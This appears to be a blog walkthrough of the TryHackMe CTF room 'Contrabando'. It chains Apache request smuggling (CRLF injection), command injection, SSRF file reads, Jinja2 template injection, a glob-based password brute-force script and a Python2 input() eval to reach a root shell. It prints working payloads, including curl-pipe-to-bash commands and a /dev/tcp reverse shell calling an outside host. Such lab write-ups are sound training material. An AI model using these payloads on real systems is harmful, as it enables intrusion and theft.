Post

TryHackMe: Contrabando

TryHackMe: Contrabando

Contrabando began with exploiting an HTTP Request Smuggling vulnerability via CRLF injection in Apache2 to smuggle a request to a backend server. This allowed us to leverage a command injection vulnerability on the backend server to obtain a shell inside a Docker container.

Afterwards, using our access inside the container to enumerate the internal network, we discovered an internal web application containing a Server-Side Request Forgery (SSRF) vulnerability. By leveraging this to read the application’s source code and combining it with a Server-Side Template Injection (SSTI) vulnerability we discovered, we obtained a shell on the host.

Finally, we exploited an unquoted parameter in a Bash script, using glob matching to brute-force the user’s password. This allowed us to run a script with Python2 and exploit a Remote Code Execution (RCE) vulnerability to escalate to root and complete the room.

Tryhackme Room Link

Initial Enumeration

Nmap Scan

As usual, we start with a port scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.158.77
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 41:ed:cf:46:58:c8:5d:41:04:0a:32:a0:10:4a:83:3b (RSA)
|   256 e8:f9:24:5b:e4:b0:37:4f:00:9d:5c:d3:fb:54:65:0a (ECDSA)
|_  256 57:fd:4a:1b:12:ac:7c:90:80:88:b8:5a:5b:78:30:79 (ED25519)
80/tcp open  http    Apache httpd 2.4.55 ((Unix))
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.55 (Unix)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are two ports open:

  • 22 (SSH)
  • 80 (HTTP)

Web 80

Visiting http://10.10.158.77/, we see a static “coming soon” page with a link to /page/home.html.

Web 80 Index

Visiting http://10.10.158.77/page/home.html, we only see a message about a password generator being down and nothing else.

Web 80 Page Home

An interesting observation that will be useful later is that, when checking the response headers, we can see that we are dealing with two different Apache2 servers.

Web 80 Index Burp Web 80 Page Home Burp

Foothold

Examining the Web Application

Fuzzing the webroot does not reveal anything interesting. However, fuzzing the /page/ endpoint for files shows something unusual: every response returns 200 OK status.

1
2
3
4
5
6
$ ffuf -u 'http://10.10.158.77/page/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php,/
...
09.php                  [Status: 200, Size: 148, Words: 19, Lines: 3, Duration: 129ms]
09                      [Status: 200, Size: 144, Words: 19, Lines: 3, Duration: 137ms]
images.php              [Status: 200, Size: 152, Words: 19, Lines: 3, Duration: 112ms]
...

Checking one of these responses, we discover something peculiar: whatever we pass after /page/ in the URL seems to be passed to the readfile() function in /var/www/html/index.php.

Web 80 Page Test Burp

Of course, instead of some test string, if we pass the path for a valid file (double URL encoded), we can see the readfile() call working and are able to read files. Additionally, we are also able to use wrappers like http:// to make requests and read the response leading to SSRF vulnerability.

Web 80 Page Etc Passwd

Using this vulnerability to enumerate the machine and make some requests, we quickly discover that we are inside a Docker container. However, beyond identifying that the Apache2 server runs on *:8080 (by checking its configuration), we find little else of immediate use.

Going back to fuzzing the /page/ endpoint, and this time using -fw 19 to also ignore the errors due to readfile, we discover two interesting files: index.php and gen.php.

1
2
3
4
$ ffuf -u 'http://10.10.158.77/page/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -mc all -t 100 -ic -fc 404 -e .php,/ -fw 19
...
index.php               [Status: 200, Size: 148, Words: 17, Lines: 11, Duration: 135ms]
gen.php                 [Status: 200, Size: 392, Words: 65, Lines: 15, Duration: 127ms]

Examining /page/gen.php, we find a simple PHP script that accepts a length parameter via POST and passes it to the exec function, leading to a command injection vulnerability.

Web 80 Page Gen Php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function generateRandomPassword($length) {
    $password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
    return $password;
}

if(isset($_POST['length'])){
        $length = $_POST['length'];
        $randomPassword = generateRandomPassword($length);
        echo $randomPassword;
}else{
    echo "Please insert the length parameter in the URL";
}
?>

Inspecting /page/index.php, it looks like this is the script responsible for us being able to read files and make requests. It retrieves the page parameter from the GET request and passes it to readfile(). Interestingly, our requests to /page/* work despite the script expecting a GET parameter instead.

Web 80 Page Index Php

1
2
3
4
5
6
7
8
9
10
<?php 

$page = $_GET['page'];
if (isset($page)) {
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>

Request Smuggling

At this point, we have not uncovered much, but by combining our findings, we can make assumptions about how the application operates. It appears that we are interacting with a frontend Apache2 server and when the URL starts with /page/, the server extracts the content after it and proxies the request to a backend Apache2 server with the gen.php and index.php files as http://backend:8080/index.php?page=*, which stops us from directly accessing the gen.php on the backend.

However, we can still access index.php on the backend and invoke the readfile function with arbitrary input. We can actually use this to reach the gen.php on the backend by using it to make a request to http://127.0.0.1:8080/gen.php. But with the readfile() function, we are limited to GET requests and thus can’t exploit the command injection vulnerability in the gen.php file, which requires a POST request.

Web 80 Page Ssrf Gen Php

Searching for how this proxy might be set up on Apache2, we can discover that it is probably set up with a configuration like this using mod_proxy:

1
2
3
RewriteEngine on
RewriteRule "^/page/(.*)" "http://backend:8080/index.php?page=$1" [P]
ProxyPassReverse "/page/" "http://backend:8080/"

Searching for vulnerabilities in Apache v2.4.55 related to mod_proxy, we can discover CVE-2023-25690, a CRLF injection vulnerability caused by a configuration similar to our assumption. This repository explains it well.

Essentially, Apache2 extracts anything after the /page/ and appends it to the http://backend:8080/index.php?page= request, and using this we are able to smuggle requests to the backend using the CRLF (\r\n) characters.

For example, in the current state if we were to make a request like:

1
2
3
GET /page/test HTTP/1.1
Host: 10.10.158.77
...

On the backend, it is received as:

1
2
3
GET /index.php?page=test HTTP/1.1
Host: backend
...

Now, if we were to replace the test in our request with something like test HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED and made a request such as:

1
2
3
GET /page/test%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
Host: 10.10.158.77
...

After the rewrite rule, this would be received by the backend as such and would be interpreted as two different requests:

1
2
3
4
5
6
GET /index.php?page=test HTTP/1.1
Host: localhost

GET /SMUGGLED HTTP/1.1
Host: backend
...

Now with this, if we were able to make a POST request like this to the backend, we could exploit the command injection on /gen.php and get a shell:

1
2
3
4
5
6
POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

length=;curl 10.14.101.76|bash;

Make sure the Content-Length value matches the actual length of the request body.

To actually smuggle this request, we can simply set our payload after /page/ in the URL to:

1
2
3
4
5
6
7
8
9
10
11
test HTTP/1.1
Host: localhost

POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

length=;curl 10.14.101.76|bash;

GET /test

We actually smuggle a second request after our smuggled POST request to prevent “ HTTP/1.1” and any headers appended by Apache from interfering with our payload.

Encoded as:

1
test%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2031%0D%0A%0D%0Alength=;curl%2010.14.101.76%7Cbash;%0D%0A%0D%0AGET%20/test

When this is transformed by the rewrite rule, it would end up on the backend like:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /index.php?page=test HTTP/1.1
Host: localhost

POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

length=;curl 10.14.101.76|bash;

GET /test HTTP/1.1
Host: backend
...

Next, we host a reverse shell payload on our web server:

1
2
3
4
5
$ cat index.html
/bin/bash -i >& /dev/tcp/10.14.101.76/443 0>&1

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

And making the request with our HTTP smuggling payload:

Web 80 Page Request Smuggling

We can see the target fetching the reverse shell payload:

1
2
3
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.158.77 - - [16/Aug/2025 17:23:06] "GET / HTTP/1.1" 200 -

And on our listener we are able to get a shell as www-data inside a container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.14.101.76] from (UNKNOWN) [10.10.158.77] 40064
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@124a042cc76c:/var/www/html$ script -qc /bin/bash /dev/null
www-data@124a042cc76c:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 443

$ stty raw -echo; fg
[1]  - continued  nc -lvnp 443

www-data@124a042cc76c:/var/www/html$ export TERM=xterm
www-data@124a042cc76c:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as hansolo

Scanning the Network

Enumerating the container, we can find its IP as 172.18.0.3 and scanning the network with RustScan, we discover an unusual port open on the host at 172.18.0.1:5000.

1
2
3
4
5
6
7
8
9
www-data@124a042cc76c:/tmp$ hostname -I
172.18.0.3
www-data@124a042cc76c:/tmp$ curl -s http://10.14.101.76/rustscan -o rustscan
www-data@124a042cc76c:/tmp$ chmod +x rustscan
www-data@124a042cc76c:/tmp$ ./rustscan --top -a 172.18.0.1,172.18.0.2 --accessible
Open 172.18.0.1:22
Open 172.18.0.1:80
Open 172.18.0.2:80
Open 172.18.0.1:5000

SSRF

Accessing http://172.18.0.1:5000/ with curl, we observe a form for submitting URLs via a POST request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@124a042cc76c:/var/www/html$ curl -s http://172.18.0.1:5000/
<!DOCTYPE html>
<html>
<head>
    <title>Website Display</title>
</head>
<body>
    <h1>Fetch Website Content</h1>
    <h2>Currently in Development</h2>
    <form method="POST">
        <label for="website_url">Enter Website URL:</label>
        <input type="text" name="website_url" id="website_url" required>
        <button type="submit">Fetch Website</button>
    </form>
    <div>

    </div>
</body>
</html>

Testing it with a request and giving the URL for our own machine:

1
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=http://10.14.101.76/'  http://172.18.0.1:5000/

On our listener, not only we see the server making a request, but also from the User-Agent we see it uses PycURL for it.

1
2
3
4
5
6
7
$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.14.101.76] from (UNKNOWN) [10.10.158.77] 56062
GET / HTTP/1.1
Host: 10.14.101.76
User-Agent: PycURL/7.45.2 libcurl/7.68.0 OpenSSL/1.1.1f zlib/1.2.11 brotli/1.0.7 libidn2/2.2.0 libpsl/0.21.0 (+libidn2/2.2.0) libssh/0.9.3/openssl/zlib nghttp2/1.40.0 librtmp/2.3
Accept: */*

Testing further, we can confirm it not only makes the request but also displays the response it receives.

1
2
$ echo 'TEST' > test.txt
$ python3 -m http.server 80
1
2
3
4
5
6
7
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=http://10.14.101.76/test.txt'  http://172.18.0.1:5000/
...
    <div>
        TEST

    </div>
...

Since it uses PycURL, which accepts file:// as a valid protocol, we can use this to read files from the server and reading the /etc/passwd file reveals the hansolo user, in addition to root.

1
2
3
4
5
6
7
8
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///etc/passwd'  http://172.18.0.1:5000/
...
<div>
  root:x:0:0:root:/root:/bin/bash
  ...
  hansolo:x:1000:1000::/home/hansolo:/bin/bash
</div>
...

Checking /proc/self/status, we can see the application running as the hansolo user.

1
2
3
4
5
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///proc/self/status'  http://172.18.0.1:5000/
....
Uid:    1000    1000    1000    1000
Gid:    1000    1000    1000    1000
...

After trying to get some easy wins by attempting to read SSH keys, etc. yields no results, we can try to read the source code for the application to understand what it does. From /proc/self/cmdline we can get the path for it.

1
2
3
4
5
6
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///proc/self/cmdline' http://172.18.0.1:5000/ -o-
...
<div>
    /usr/bin/python3/home/hansolo/app/app.py
</div>
...

Now, with /home/hansolo/app/app.py we can read the application’s source code.

1
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=file:///home/hansolo/app/app.py' http://172.18.0.1:5000/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def display_website():
    if request.method == 'POST':
        website_url = request.form['website_url']

        # Use pycurl to fetch the content of the website
        buffer = BytesIO()
        c = pycurl.Curl()
        c.setopt(c.URL, website_url)
        c.setopt(c.WRITEDATA, buffer)
        c.perform()
        c.close()

        # Extract the content and convert it to a string
        content = buffer.getvalue().decode('utf-8')
        buffer.close()
        website_content = '''
        <!DOCTYPE html>
<html>
<head>
    <title>Website Display</title>
</head>
<body>
    <h1>Fetch Website Content</h1>
    <h2>Currently in Development</h2>
    <form method="POST">
        <label for="website_url">Enter Website URL:</label>
        <input type="text" name="website_url" id="website_url" required>
        <button type="submit">Fetch Website</button>
    </form>
    <div>
        %s
    </div>
</body>
</html>'''%content

        return render_template_string(website_content)

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=False)

SSTI

The source code reveals a simple Flask application. On a POST request, it retrieves a URL from the website_url parameter, fetches its content using PycURL, and formats the response into website_content, which is passed to render_template_string.

The vulnerability lies in our ability to control the URL and, consequently, the response content. This allows us to inject a template into website_content, which is then processed by the Jinja2 templating engine via render_template_string, enabling Server-Side Template Injection (SSTI).

So if we were to host a file with malicious template such as:

1
2
3
4
$ cat template
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.14.101.76|bash').read() }}                           

$ python3 -m http.server 80

When we make the site fetch it, the response would be a template that would be formatted into the HTML code present in the application code and would get passed to render_template_string and executed.

1
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=http://10.14.101.76/template'  http://172.18.0.1:5000/

We can see the server first fetching the template and then our reverse shell payload:

1
2
3
4
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.158.77 - - [16/Aug/2025 20:37:29] "GET /template HTTP/1.1" 200 -
10.10.158.77 - - [16/Aug/2025 20:37:29] "GET / HTTP/1.1" 200 -

And on our listener, we obtain a shell as the hansolo user and can read the first flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc -lvnp 443
hansolo@contrabando:~$ python3 -c 'import pty;pty.spawn("/bin/bash");'
hansolo@contrabando:~$ export TERM=xterm
hansolo@contrabando:~$ ^Z
zsh: suspended  nc -lvnp 443

$ stty raw -echo; fg
[1]  + continued  nc -lvnp 443

hansolo@contrabando:~$ id
uid=1000(hansolo) gid=1000(hansolo) groups=1000(hansolo)
hansolo@contrabando:~$ wc -c h*.txt
36 h[REDACTED].txt

Shell as root

Checking Sudo Privileges

Checking the sudo privileges for the user, we can see that we are able to run two commands as root:

  • /usr/bin/bash /usr/bin/vault without knowing the password for the hansolo user.
  • /usr/bin/python* /opt/generator/app.py if we discover the password for the user.
1
2
3
4
5
6
7
hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hansolo may run the following commands on contrabando:
    (root) NOPASSWD: /usr/bin/bash /usr/bin/vault
    (root) /usr/bin/python* /opt/generator/app.py

Brute-forcing the Password

Since we need the password for the second command, let’s check out the /usr/bin/vault script which we can run.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

check () {
        if [ ! -e "$file_to_check" ]; then
            /usr/bin/echo "File does not exist."
            exit 1
        fi
        compare
}


compare () {
        content=$(/usr/bin/cat "$file_to_check")

        read -s -p "Enter the required input: " user_input

        if [[ $content == $user_input ]]; then
            /usr/bin/echo ""
            /usr/bin/echo "Password matched!"
            /usr/bin/cat "$file_to_print"
        else
            /usr/bin/echo "Password does not match!"
        fi
}

file_to_check="/root/password"
file_to_print="/root/secrets"

check

Looking at the script, we can see a vulnerability in the if [[ $content == $user_input ]]; then line, as the $user_input parameter which is read from the user is not quoted. This allows us to use glob matching in the comparison as such:

1
2
3
4
5
$ user_input="*"; if [[ "password" == "$user_input" ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE

$ user_input="*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
TRUE

Exploiting this by entering * as our input, we are able to bypass the check and access the contents of /root/secrets, though it provides no useful information.

1
2
3
4
hansolo@contrabando:~$ sudo /usr/bin/bash /usr/bin/vault
Enter the required input: *
Password matched!
1. Lightsaber Colors: Lightsabers in Star Wars can come in various colors, and the color often signifies the Jedi's role or affiliation. For ...

But simply bypassing the check is not all we can do. In fact, using the glob matching, we can also brute-force the value of the $content parameter, which is read from /root/password, by looping through all characters and prepending them to * and checking the behavior of the script similar to a process like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ user_input="a*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE

$ user_input="b*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE

...

$ user_input="p*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
TRUE

$ user_input="pa*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
TRUE

$ user_input="paa*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE

$ user_input="pab*"; if [[ "password" == $user_input ]]; then echo "TRUE"; else echo "FALSE"; fi
FALSE
...

We can automate this process with a Python script that loops through all characters prepended to * and checks if the output from the script includes Password matched!. If it does, we know we have discovered a character from the beginning of the password and can move on to the next character.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import subprocess
import string

charset = string.ascii_letters + string.digits
password = ""

while True:
    found = False
    for char in charset:
        attempt = password + char + "*"
        print(f"\r[+] Password: {password+char}", end="")
        proc = subprocess.Popen(
            ["sudo", "/usr/bin/bash", "/usr/bin/vault"],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        stdout, stderr = proc.communicate(input=attempt + "\n")
        if "Password matched!" in stdout:
            password += char
            found = True
            break
    if not found:
        break

print(f"\r[+] Final Password: {password}")

Running the script reveals the password from /root/password.

1
2
hansolo@contrabando:~$ python3 brute.py
[+] Final Password: EQ[REDACTED]fZ

Python2 RCE

While the password does not work for the root account, it works for the hansolo user, which we can use with SSH to get a better shell.

1
2
3
$ ssh hansolo@10.10.158.77
hansolo@contrabando:~$ id
uid=1000(hansolo) gid=1000(hansolo) groups=1000(hansolo)

With the password, we can now also run the second sudo command.

1
2
3
4
5
6
7
hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hansolo may run the following commands on contrabando:
    (root) NOPASSWD: /usr/bin/bash /usr/bin/vault
    (root) /usr/bin/python* /opt/generator/app.py

Checking the /opt/generator/app.py script, it is a simple password generator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import random
import string

def generate_password(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    random.seed()
    secret = input("Any words you want to add to the password? ")
    password_characters = list(characters + secret)
    random.shuffle(password_characters)
    password = ''.join(password_characters[:length])

    return password

try:
    length = int(raw_input("Enter the desired length of the password: "))
except NameError:
    length = int(input("Enter the desired length of the password: "))
except ValueError:
    print("Invalid input. Using default length of 12.")
    length = 12

password = generate_password(length)
print("Generated Password:", password)

From the sudo command, we can see that we are able to run it with /usr/bin/python*. Checking the available binaries, python2 is also present:

1
2
3
4
5
6
7
hansolo@contrabando:~$ ls -la /usr/bin/python*
lrwxrwxrwx 1 root root       9 Mar 13  2020 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7
lrwxrwxrwx 1 root root       9 Mar 13  2020 /usr/bin/python3 -> python3.8
-rwxr-xr-x 1 root root 5490456 Mar 18 20:04 /usr/bin/python3.8
lrwxrwxrwx 1 root root      33 Mar 18 20:04 /usr/bin/python3.8-config -> x86_64-linux-gnu-python3.8-config
lrwxrwxrwx 1 root root      16 Mar 13  2020 /usr/bin/python3-config -> python3.8-config

Python2 being available makes this line in the generate_password function problematic:

1
secret = input("Any words you want to add to the password? ")

With python3, the script would error out at raw_input() and fall back to input(), which safely casts input to a string, so both input() calls would work as expected.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> print(raw_input("input: "))
Traceback (most recent call last):
  File "<python-input-1>", line 1, in <module>
    print(raw_input("input: "))
          ^^^^^^^^^
NameError: name 'raw_input' is not defined

>>> print(input("input: "))
input: __import__("os").system("whoami")
__import__("os").system("whoami")

However, with Python2, the behavior differs. raw_input() behaves like input() in Python3, but input() in Python2 evaluates the input as code instead of treating it as a string:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python2
Python 2.7.18 (default, Aug  1 2022, 06:23:55)
[GCC 12.1.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.

>>> print(raw_input("input: "))
input: __import__("os").system("whoami")
__import__("os").system("whoami")

>>> print(input("input: "))
input: __import__("os").system("whoami")
kali
0

Running the script with python2 and providing __import__("os").system("bash") at the secret prompt spawns a root shell, allowing us to read the root flag.

1
2
3
4
5
6
7
8
hansolo@contrabando:~$ sudo /usr/bin/python2 /opt/generator/app.py
[sudo] password for hansolo:
Enter the desired length of the password: 1
Any words you want to add to the password? __import__("os").system("bash")
root@contrabando:/home/hansolo# id
uid=0(root) gid=0(root) groups=0(root)
root@contrabando:/home/hansolo# wc -c /root/root.txt
25 /root/root.txt

Apache Configuration

Lastly, checking the Apache configuration inside the Docker container (the one used as a proxy), we can see the configuration that led to the HTTP Smuggling vulnerability:

1
2
3
4
5
6
7
8
9
10
11
12
root@8783651820fd:/usr/local/apache2# cat /usr/local/apache2/conf/httpd.conf
...
<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/page/(.*)" "http://backend-server:8080/index.php?page=$1" [P]
    ProxyPassReverse "/page/" "http://backend-server:8080/"

</VirtualHost>
This post is licensed under CC BY 4.0 by the author.